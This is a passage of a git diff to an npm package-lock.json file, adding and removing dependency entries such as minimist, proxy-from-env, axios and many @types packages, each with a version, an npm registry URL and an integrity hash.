"https://registry.npmjs.org/lolex/-/lolex-4.2.0.tgz", +- "integrity": "sha512-gKO5uExCXvSm6zbF562EvM+rd1kQDnB9AZBbiQVzf1ZmdDpxUSvpnAaVOP83N/31mRK8Ml8/VE8DMvsAZQ+7wg==", +- "dev": true +- }, +- "lru-cache": { +- "version": "7.10.1", +- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.10.1.tgz", +- "integrity": "sha512-BQuhQxPuRl79J5zSXRP+uNzPOyZw2oFI9JLRQ80XswSvg21KMKNtQza9eF42rfI/3Z40RvzBdXgziEkudzjo8A==" +- }, +- "mdn-data": { +- "version": "2.0.14", +- "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", +- "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", +- "dev": true +- }, +- "method-override": { +- "version": "2.3.10", +- "resolved": "https://registry.npmjs.org/method-override/-/method-override-2.3.10.tgz", +- "integrity": "sha1-49r41d7hDdLc59SuiNYrvud0drQ=", +- "requires": { +- "debug": "2.6.9", +- "methods": "~1.1.2", +- "parseurl": "~1.3.2", +- "vary": "~1.1.2" +- }, +- "dependencies": { +- "debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "requires": { +- "ms": "2.0.0" +- } +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- } +- } +- }, +- "mime": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", +- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" +- }, +- "mini-css-extract-plugin": { +- "version": "2.6.0", +- "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.6.0.tgz", +- "integrity": "sha512-ndG8nxCEnAemsg4FSgS+yNyHKgkTB4nPKqCOgh65j3/30qqC5RaSQQXMm++Y6sb6E1zRSxPkztj9fqxhS1Eo6w==", +- "dev": true, +- "requires": { +- "schema-utils": "^4.0.0" +- }, +- "dependencies": { +- "ajv": { +- "version": "8.11.0", +- "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz", +- "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", +- "dev": true, +- "requires": { +- "fast-deep-equal": "^3.1.1", +- "json-schema-traverse": "^1.0.0", +- "require-from-string": "^2.0.2", +- "uri-js": "^4.2.2" +- } +- }, +- "ajv-keywords": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", +- "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", +- "dev": true, +- "requires": { +- "fast-deep-equal": "^3.1.3" +- } +- }, +- "schema-utils": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", +- "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", +- "dev": true, +- "requires": { +- "@types/json-schema": "^7.0.9", +- "ajv": "^8.8.0", +- "ajv-formats": "^2.1.1", +- "ajv-keywords": "^5.0.0" +- } +- } +- } +- }, +- "minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" ++ "minimist": { ++ "version": "1.2.5", ++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", ++ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + }, + "mongodb": { + "version": "3.6.12", +@@ -44099,6 +35549,12 @@ + "integrity": "sha512-vGrhOavPSTz4QVNuBNdcNXePNdNMaO1xj9yBeH1ScQPjk/rhg9sSlCXPhMkFuaNNW/syTvYqsnbIJxMBfRbbag==", + "dev": true + }, ++ "proxy-from-env": { ++ "version": "1.1.0", ++ "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", ++ "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", ++ "dev": true ++ }, + "qs": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", +@@ -44350,11 +35806,6 @@ + } + } + }, +- "@panva/asn1.js": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/@panva/asn1.js/-/asn1.js-1.0.0.tgz", +- "integrity": "sha512-UdkG3mLEqXgnlKsWanWcgb6dOjUzJ+XC5f+aWw30qrtjxeNUSfKX1cd5FBzOaXQumoe9nIqeZUvrRJS03HCCtw==" +- }, + "@pmmmwh/react-refresh-webpack-plugin": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.7.tgz", +@@ -44819,11 +36270,6 @@ + "resolved": "https://registry.npmjs.org/@sindresorhus/fnv1a/-/fnv1a-1.2.0.tgz", + "integrity": "sha512-5ezb/dBSTWtKQ4sLQwMgOJyREXJcZZkTMbendMwKrXTghUhWjZhstzkkmt4/WkFy/GSTSGzfJOKU7dEXv3C/XQ==" + }, +- "@sindresorhus/is": { +- "version": "0.14.0", +- "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz", +- "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==" +- }, + "@sinonjs/commons": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.3.tgz", +@@ -44875,14 +36321,6 @@ + "integrity": "sha512-dOlCBKnDw4iShaIsH/bxujKTM18+2TOAsYz+KSc11Am38H4q5Xw8Bbz97ZYdrVNM+um3p7w86Bvvmcn9q+5+eQ==", + "dev": true + }, +- "@szmarczak/http-timer": { +- "version": "1.1.2", +- "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz", +- "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==", +- "requires": { +- "defer-to-connect": "^1.0.1" +- } +- }, + "@testing-library/cypress": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/@testing-library/cypress/-/cypress-8.0.3.tgz", +@@ -44984,11 +36422,6 @@ + "dev": true, + "requires": {} + }, +- "@tootallnate/once": { +- "version": "1.1.2", +- "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", +- "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==" +- }, + "@transloadit/prettier-bytes": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/@transloadit/prettier-bytes/-/prettier-bytes-0.0.7.tgz", +@@ -45011,11 +36444,14 @@ + "integrity": "sha512-HnYpAE1Y6kRyKM/XkEuiRQhTHvkzMBurTHnpFLYLBGPIylZNPs9jJcuOOYWxPLJCSEtmZT0Y8rHDokKN7rRTig==", + "dev": true + }, +- "@types/bluebird": { +- "version": "3.5.36", +- "resolved": "https://registry.npmjs.org/@types/bluebird/-/bluebird-3.5.36.tgz", +- "integrity": "sha512-HBNx4lhkxN7bx6P0++W8E289foSu8kO8GCk2unhuVggO+cE7rh9DhZUyPhUxNRG9m+5B5BTKxZQ5ZP92x/mx9Q==", +- "dev": true ++ "@types/asn1": { ++ "version": "0.2.0", ++ "resolved": "https://registry.npmjs.org/@types/asn1/-/asn1-0.2.0.tgz", ++ "integrity": "sha512-5TMxIpYbIA9c1J0hYQjQDX3wr+rTgQEAXaW2BI8ECM8FO53wSW4HFZplTalrKSHuZUc76NtXcePRhwuOHqGD5g==", ++ "dev": true, ++ "requires": { ++ "@types/node": "*" ++ } + }, + "@types/body-parser": { + "version": "1.19.2", +@@ -45043,11 +36479,6 @@ + "@types/node": "*" + } + }, +- "@types/caseless": { +- "version": "0.12.2", +- "resolved": "https://registry.npmjs.org/@types/caseless/-/caseless-0.12.2.tgz", +- "integrity": "sha512-6ckxMjBBD8URvjB6J3NcnuAn5Pkl7t3TizAg+xdlzzQGSPSmBcXf8KoIH0ua/i+tio+ZRUHEXp0HEmvaR4kt0w==" +- }, + "@types/chai": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.3.0.tgz", +@@ -45089,12 +36520,6 @@ + "integrity": "sha512-XW/Aa8APYr6jSVVA1y/DEIZX0/GMKLEVekNG727R8cs56ahETkRAy/3DR7+fJyh7oUgGwNQaRfXCun0+KbWY7Q==", + "dev": true + }, +- "@types/cookiejar": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/@types/cookiejar/-/cookiejar-2.1.2.tgz", +- "integrity": "sha512-t73xJJrvdTjXrn4jLS9VSGRbz0nUY3cl2DMGDU48lKl+HR9dbbjW2A9r3g40VA++mQpy6uuHg33gy7du2BKpog==", +- "dev": true +- }, + "@types/cors": { + "version": "2.8.12", + "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.12.tgz", +@@ -45151,33 +36576,6 @@ + "@types/range-parser": "*" + } + }, +- "@types/got": { +- "version": "9.6.12", +- "resolved": "https://registry.npmjs.org/@types/got/-/got-9.6.12.tgz", +- "integrity": "sha512-X4pj/HGHbXVLqTpKjA2ahI4rV/nNBc9mGO2I/0CgAra+F2dKgMXnENv2SRpemScBzBAI4vMelIVYViQxlSE6xA==", +- "requires": { +- "@types/node": "*", +- "@types/tough-cookie": "*", +- "form-data": "^2.5.0" +- }, +- "dependencies": { +- "form-data": { +- "version": "2.5.1", +- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz", +- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==", +- "requires": { +- "asynckit": "^0.4.0", +- "combined-stream": "^1.0.6", +- "mime-types": "^2.1.12" +- } +- } +- } +- }, +- "@types/hapi__joi": { +- "version": "17.1.8", +- "resolved": "https://registry.npmjs.org/@types/hapi__joi/-/hapi__joi-17.1.8.tgz", +- "integrity": "sha512-omVytnOAiAfzGUOQArujJr3heWxPrDHW7MF1ieqix1ngoGdhtJmSSDFVM+ZAOa7UmhlGJtltdgUAT03mfDu6kg==" +- }, + "@types/hoist-non-react-statics": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.1.tgz", +@@ -45208,11 +36606,6 @@ + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==", + "dev": true + }, +- "@types/js-yaml": { +- "version": "3.12.7", +- "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-3.12.7.tgz", +- "integrity": "sha512-S6+8JAYTE1qdsc9HMVsfY7+SgSuUU/Tp6TYTmITW0PZxiyIMvol3Gy//y69Wkhs0ti4py5qgR3uZH6uz/DNzJQ==" +- }, + "@types/json-schema": { + "version": "7.0.9", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", +@@ -45297,16 +36690,6 @@ + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.18.9.tgz", + "integrity": "sha512-j11XSuRuAlft6vLDEX4RvhqC0KxNxx6QIyMXNb0vHHSNPXTPeiy3algESWmOOIzEtiEL0qiowPU3ewW9hHVa7Q==" + }, +- "@types/node-fetch": { +- "version": "2.5.12", +- "resolved": "https://registry.npmjs.org/@types/node-fetch/-/node-fetch-2.5.12.tgz", +- "integrity": "sha512-MKgC4dlq4kKNa/mYrwpKfzQMB5X3ee5U6fSprkKpToBqBmX4nFZL9cW5jl6sWn+xpRJ7ypWh2yyqqr8UUCstSw==", +- "peer": true, +- "requires": { +- "@types/node": "*", +- "form-data": "^3.0.0" +- } +- }, + "@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", +@@ -45370,29 +36753,6 @@ + "@types/react": "*" + } + }, +- "@types/request": { +- "version": "2.48.8", +- "resolved": "https://registry.npmjs.org/@types/request/-/request-2.48.8.tgz", +- "integrity": "sha512-whjk1EDJPcAR2kYHRbFl/lKeeKYTi05A15K9bnLInCVroNDCtXce57xKdI0/rQaA3K+6q0eFyUBPmqfSndUZdQ==", +- "requires": { +- "@types/caseless": "*", +- "@types/node": "*", +- "@types/tough-cookie": "*", +- "form-data": "^2.5.0" +- }, +- "dependencies": { +- "form-data": { +- "version": "2.5.1", +- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz", +- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==", +- "requires": { +- "asynckit": "^0.4.0", +- "combined-stream": "^1.0.6", +- "mime-types": "^2.1.12" +- } +- } +- } +- }, + "@types/retry": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.1.tgz", +@@ -45467,40 +36827,12 @@ + "@types/node": "*" + } + }, +- "@types/superagent": { +- "version": "3.8.7", +- "resolved": "https://registry.npmjs.org/@types/superagent/-/superagent-3.8.7.tgz", +- "integrity": "sha512-9KhCkyXv268A2nZ1Wvu7rQWM+BmdYUVkycFeNnYrUL5Zwu7o8wPQ3wBfW59dDP+wuoxw0ww8YKgTNv8j/cgscA==", +- "dev": true, +- "requires": { +- "@types/cookiejar": "*", +- "@types/node": "*" +- } +- }, +- "@types/tough-cookie": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.1.tgz", +- "integrity": "sha512-Y0K95ThC3esLEYD6ZuqNek29lNX2EM1qxV8y2FTLUB0ff5wWrk7az+mLrnNFUnaXcgKye22+sFBRXOgpPILZNg==" +- }, +- "@types/underscore": { +- "version": "1.11.4", +- "resolved": "https://registry.npmjs.org/@types/underscore/-/underscore-1.11.4.tgz", +- "integrity": "sha512-uO4CD2ELOjw8tasUrAhvnn2W4A0ZECOvMjCivJr4gA9pGgjv+qxKWY9GLTMVEK8ej85BxQOocUyE7hImmSQYcg==" +- }, + "@types/uuid": { + "version": "8.3.4", + "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.4.tgz", + "integrity": "sha512-c/I8ZRb51j+pYGAu5CrFMRxqZ2ke4y2grEBO5AUjgSkSk+qT2Ea+OdWElz/OiMf5MNpn2b17kuVBwZLQJXzihw==", + "dev": true + }, +- "@types/ws": { +- "version": "6.0.4", +- "resolved": "https://registry.npmjs.org/@types/ws/-/ws-6.0.4.tgz", +- "integrity": "sha512-PpPrX7SZW9re6+Ha8ojZG4Se8AZXgf0GK6zmfqEuCsY49LFDNXO3SByp44X3dFEqtB73lkCDAdUazhAjVPiNwg==", +- "requires": { +- "@types/node": "*" +- } +- }, + "@types/yauzl": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.9.2.tgz", +@@ -46167,11 +37499,6 @@ + "debug": "4" + } + }, +- "agentkeepalive": { +- "version": "0.1.5", +- "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-0.1.5.tgz", +- "integrity": "sha1-2N6s1a+xAjKUIi/CR5qd0DX9kLc=" +- }, + "aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", +@@ -46227,23 +37554,6 @@ + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "requires": {} + }, +- "algolia-search": { +- "version": "1.5.14", +- "resolved": "https://registry.npmjs.org/algolia-search/-/algolia-search-1.5.14.tgz", +- "integrity": "sha1-Q2Vjg+/LnUTFHZB1dHZEgjg+SF8=", +- "requires": { +- "agentkeepalive": "0.1.5", +- "buffers": "0.1.1", +- "underscore": "1.4.4" +- }, +- "dependencies": { +- "underscore": { +- "version": "1.4.4", +- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.4.4.tgz", +- "integrity": "sha1-YaajIBBiKvoHljvzJSA88SI51gQ=" +- } +- } +- }, + "algoliasearch": { + "version": "3.35.1", + "resolved": "https://registry.npmjs.org/algoliasearch/-/algoliasearch-3.35.1.tgz", +@@ -46291,13 +37601,6 @@ + } + } + }, +- "amdefine": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", +- "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", +- "dev": true, +- "optional": true +- }, + "angular": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/angular/-/angular-1.8.2.tgz", +@@ -46402,11 +37705,6 @@ + "integrity": "sha1-qCJQ3bABXponyoLoLqYDu/pF768=", + "dev": true + }, +- "any-promise": { +- "version": "1.3.0", +- "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", +- "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8=" +- }, + "anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", +@@ -46529,12 +37827,8 @@ + "argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", +- "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" +- }, +- "args-js": { +- "version": "0.10.12", +- "resolved": "https://registry.npmjs.org/args-js/-/args-js-0.10.12.tgz", +- "integrity": "sha1-oyeuqA5BByo9hfnCdNtlEeuV5Jw=" ++ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", ++ "dev": true + }, + "aria-query": { + "version": "4.2.2", +@@ -46546,32 +37840,12 @@ + "@babel/runtime-corejs3": "^7.10.2" + } + }, +- "arr-diff": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", +- "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=" +- }, +- "arr-flatten": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", +- "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==" +- }, +- "arr-union": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", +- "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=" +- }, + "array-back": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-6.2.2.tgz", + "integrity": "sha512-gUAZ7HPyb4SJczXAMUXMGAvI976JoK3qEx9v1FTmeYuJj0IBiaKttG1ydtGKdkfqWkIkouke7nG8ufGy77+Cvw==", + "dev": true + }, +- "array-each": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/array-each/-/array-each-1.0.1.tgz", +- "integrity": "sha1-p5SvDAWrF1KEbudTofIRoFugxE8=" +- }, + "array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", +@@ -46596,11 +37870,6 @@ + "is-string": "^1.0.7" + } + }, +- "array-slice": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-1.1.0.tgz", +- "integrity": "sha512-B1qMD3RBP7O8o0H2KbrXDyB0IccejMF15+87Lvlor12ONPRHP6gTjXMNkt/d3ZuOGbAe66hFmaCfECI24Ufp6w==" +- }, + "array-union": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz", +@@ -46614,11 +37883,6 @@ + "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.3.tgz", + "integrity": "sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=" + }, +- "array-unique": { +- "version": "0.3.2", +- "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", +- "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=" +- }, + "array.prototype.flat": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.2.5.tgz", +@@ -46672,11 +37936,6 @@ + "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", + "dev": true + }, +- "assign-symbols": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", +- "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=" +- }, + "ast-types-flow": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.7.tgz", +@@ -46694,11 +37953,6 @@ + "resolved": "https://registry.npmjs.org/async/-/async-3.2.2.tgz", + "integrity": "sha512-H0E+qZaDEfx/FY4t7iLRv1W2fFI6+pyCeTw1uN20AQPiwqwM6ojPxHxdLv4z8hi2DtnW9BOckSspLucW7pIE5g==" + }, +- "async-limiter": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz", +- "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==" +- }, + "async-listener": { + "version": "0.6.10", + "resolved": "https://registry.npmjs.org/async-listener/-/async-listener-0.6.10.tgz", +@@ -46731,17 +37985,8 @@ + "at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", +- "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==" +- }, +- "atob": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz", +- "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==" +- }, +- "auth0-id-generator": { +- "version": "0.2.0", +- "resolved": "https://registry.npmjs.org/auth0-id-generator/-/auth0-id-generator-0.2.0.tgz", +- "integrity": "sha512-sJVZrGls/XB7TEsAovv6GsGwsjDBhBy014w+9x/DNZH8OTV8F/uioMmT68ADWtfbvfkJaNCYNjRs1dOVFyNqbQ==" ++ "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", ++ "dev": true + }, + "autolinker": { + "version": "0.28.1", +@@ -46820,14 +38065,6 @@ + "integrity": "sha512-WKTW1+xAzhMS5dJsxWkliixlO/PqC4VhmO9T4juNYcaTg9jzWiJsou6m5pxWYGfigWbwzJWeFY6z47a+4neRXA==", + "dev": true + }, +- "axios": { +- "version": "0.21.4", +- "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz", +- "integrity": "sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg==", +- "requires": { +- "follow-redirects": "^1.14.0" +- } +- }, + "axobject-query": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-2.2.0.tgz", +@@ -46965,72 +38202,11 @@ + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, +- "base": { +- "version": "0.11.2", +- "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", +- "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", +- "requires": { +- "cache-base": "^1.0.1", +- "class-utils": "^0.3.5", +- "component-emitter": "^1.2.1", +- "define-property": "^1.0.0", +- "isobject": "^3.0.1", +- "mixin-deep": "^1.2.0", +- "pascalcase": "^0.1.1" +- }, +- "dependencies": { +- "define-property": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", +- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", +- "requires": { +- "is-descriptor": "^1.0.0" +- } +- } +- } +- }, + "base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, +- "base64-stream": { +- "version": "0.1.5", +- "resolved": "https://registry.npmjs.org/base64-stream/-/base64-stream-0.1.5.tgz", +- "integrity": "sha512-j3OFbLDb8Wy0SM7HrP1zj8ADVHqaKoL8VNrDnd7wedkoz5onf9le2DgOsCdmg8QQPnUPXd7LLCjGnYAk/YDBFg==", +- "requires": { +- "readable-stream": "^2.0.2" +- }, +- "dependencies": { +- "isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" +- }, +- "readable-stream": { +- "version": "2.3.7", +- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", +- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", +- "requires": { +- "core-util-is": "~1.0.0", +- "inherits": "~2.0.3", +- "isarray": "~1.0.0", +- "process-nextick-args": "~2.0.0", +- "safe-buffer": "~5.1.1", +- "string_decoder": "~1.1.1", +- "util-deprecate": "~1.0.1" +- } +- }, +- "string_decoder": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", +- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", +- "requires": { +- "safe-buffer": "~5.1.0" +- } +- } +- } +- }, + "base64id": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/base64id/-/base64id-0.1.0.tgz", +@@ -47082,11 +38258,6 @@ + "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.51.tgz", + "integrity": "sha512-GPEid2Y9QU1Exl1rpO9B2IPJGHPSupF5GnVIP0blYvNOMer2bTvSWs1jGOUg04hTmu67nmLsQ9TBo1puaotBHg==" + }, +- "big.js": { +- "version": "6.1.1", +- "resolved": "https://registry.npmjs.org/big.js/-/big.js-6.1.1.tgz", +- "integrity": "sha512-1vObw81a8ylZO5ePrtMay0n018TcftpTA5HFKDaSuiUDBo8biRBtjIobw60OpwuvrGk+FsxKamqN4cnmj/eXdg==" +- }, + "bignumber.js": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.0.2.tgz", +@@ -47334,11 +38505,6 @@ + "resolved": "https://registry.npmjs.org/bson/-/bson-1.1.6.tgz", + "integrity": "sha512-EvVNVeGo4tHxwi8L6bPj3y3itEvStdwvvlojVxxbyYfoaxJ6keLgrTuKdyfEAszFK+H3olzBuafE0yoh0D1gdg==" + }, +- 